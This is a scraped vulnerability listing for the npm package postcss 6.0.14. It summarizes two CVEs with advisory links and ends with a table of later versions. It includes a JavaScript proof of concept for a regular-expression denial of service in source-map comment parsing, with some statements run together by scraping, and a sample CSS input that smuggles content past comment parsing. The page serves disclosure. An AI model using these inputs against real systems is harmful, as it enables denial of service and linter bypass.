NodeJS/postcss/6.0.14
Tool for transforming styles with JS plugins
https://www.npmjs.com/package/postcss
MIT
2 Security Vulnerabilities
Regular Expression Denial of Service in postcss
- https://nvd.nist.gov/vuln/detail/CVE-2021-23382
- https://github.com/postcss/postcss/commit/2b1d04c867995e55124e0a165b7c6622c1735956
- https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1255641
- https://snyk.io/vuln/SNYK-JS-POSTCSS-1255640
- https://github.com/advisories/GHSA-566m-qj78-rww5
- https://github.com/postcss/postcss/releases/tag/7.0.36
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
regex
\/\*\s* sourceMappingURL=(.*)
PoC
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
- https://nvd.nist.gov/vuln/detail/CVE-2023-44270
- https://github.com/postcss/postcss/commit/58cc860b4c1707510c9cd1bc1fa30b423a9ad6c5
- https://github.com/postcss/postcss/blob/main/lib/tokenize.js#L25
- https://github.com/postcss/postcss/releases/tag/8.4.31
- https://github.com/advisories/GHSA-7fh5-64p2-3v2j
- https://github.com/github/advisory-database/issues/2820
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r
discrepancies, as demonstrated by @font-face{ font:(\r/*);}
in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.
270 Other Versions
Version | License | Security | Released | |
---|---|---|---|---|
8.4.6 | MIT | 1 | 2022-02-01 - 11:37 | over 3 years |
8.4.5 | MIT | 1 | 2021-12-13 - 00:03 | over 3 years |
8.4.4 | MIT | 1 | 2021-11-27 - 14:58 | over 3 years |
8.4.3 | MIT | 1 | 2021-11-26 - 19:20 | over 3 years |
8.4.2 | MIT | 1 | 2021-11-26 - 18:45 | over 3 years |
8.4.1 | MIT | 1 | 2021-11-24 - 22:06 | over 3 years |
8.4.0 | MIT | 1 | 2021-11-24 - 13:06 | over 3 years |
8.3.11 | MIT | 1 | 2021-10-21 - 12:43 | over 3 years |
8.3.10 | MIT | 1 | 2021-10-20 - 17:47 | over 3 years |
8.3.9 | MIT | 1 | 2021-10-04 - 20:14 | over 3 years |
8.3.8 | MIT | 1 | 2021-09-25 - 07:33 | almost 4 years |
8.3.7 | MIT | 1 | 2021-09-22 - 05:54 | almost 4 years |
8.3.6 | MIT | 1 | 2021-07-21 - 15:53 | almost 4 years |
8.3.5 | MIT | 1 | 2021-06-17 - 03:25 | about 4 years |
8.3.4 | MIT | 1 | 2021-06-14 - 13:27 | about 4 years |
8.3.3 | MIT | 1 | 2021-06-14 - 05:34 | about 4 years |
8.3.2 | MIT | 1 | 2021-06-11 - 02:57 | about 4 years |
8.3.1 | MIT | 1 | 2021-06-09 - 23:38 | about 4 years |
8.3.0 | MIT | 1 | 2021-05-21 - 03:41 | about 4 years |
8.2.15 | MIT | 1 | 2021-05-10 - 19:56 | about 4 years |
8.2.14 | MIT | 1 | 2021-05-05 - 19:44 | about 4 years |
8.2.13 | MIT | 1 | 2021-04-26 - 12:26 | about 4 years |
8.2.12 | MIT | 2 | 2021-04-22 - 15:50 | about 4 years |
8.2.11 | MIT | 2 | 2021-04-22 - 15:32 | about 4 years |
8.2.10 | MIT | 2 | 2021-04-11 - 16:37 | about 4 years |
8.2.9 | MIT | 3 | 2021-03-30 - 20:43 | over 4 years |
8.2.8 | MIT | 3 | 2021-03-09 - 22:04 | over 4 years |
8.2.7 | MIT | 3 | 2021-03-03 - 23:25 | over 4 years |
8.2.6 | MIT | 3 | 2021-02-10 - 18:38 | over 4 years |
8.2.5 | MIT | 3 | 2021-02-06 - 18:57 | over 4 years |
8.2.4 | MIT | 3 | 2021-01-09 - 10:28 | over 4 years |
8.2.3 | MIT | 3 | 2021-01-07 - 12:06 | over 4 years |
8.2.2 | MIT | 3 | 2020-12-29 - 20:56 | over 4 years |
8.2.1 | MIT | 3 | 2020-12-09 - 11:52 | over 4 years |
8.2.0 | MIT | 3 | 2020-12-08 - 07:16 | over 4 years |
8.1.14 | MIT | 3 | 2020-12-04 - 00:21 | over 4 years |
8.1.13 | MIT | 3 | 2020-12-03 - 03:14 | over 4 years |
8.1.12 | MIT | 3 | 2020-12-03 - 02:41 | over 4 years |
8.1.11 | MIT | 3 | 2020-12-03 - 01:44 | over 4 years |
8.1.10 | MIT | 3 | 2020-11-23 - 22:17 | over 4 years |
8.1.9 | MIT | 3 | 2020-11-21 - 18:37 | over 4 years |
8.1.8 | MIT | 3 | 2020-11-19 - 15:58 | over 4 years |
8.1.7 | MIT | 3 | 2020-11-10 - 15:58 | over 4 years |
8.1.6 | MIT | 3 | 2020-11-05 - 16:28 | over 4 years |
8.1.5 | MIT | 3 | 2020-11-05 - 15:50 | over 4 years |
8.1.4 | MIT | 3 | 2020-10-24 - 00:03 | over 4 years |
8.1.3 | MIT | 3 | 2020-10-23 - 02:20 | over 4 years |
8.1.2 | MIT | 3 | 2020-10-19 - 00:02 | over 4 years |
8.1.1 | MIT | 3 | 2020-09-28 - 21:47 | almost 5 years |
8.1.0 | MIT | 3 | 2020-09-26 - 23:35 | almost 5 years |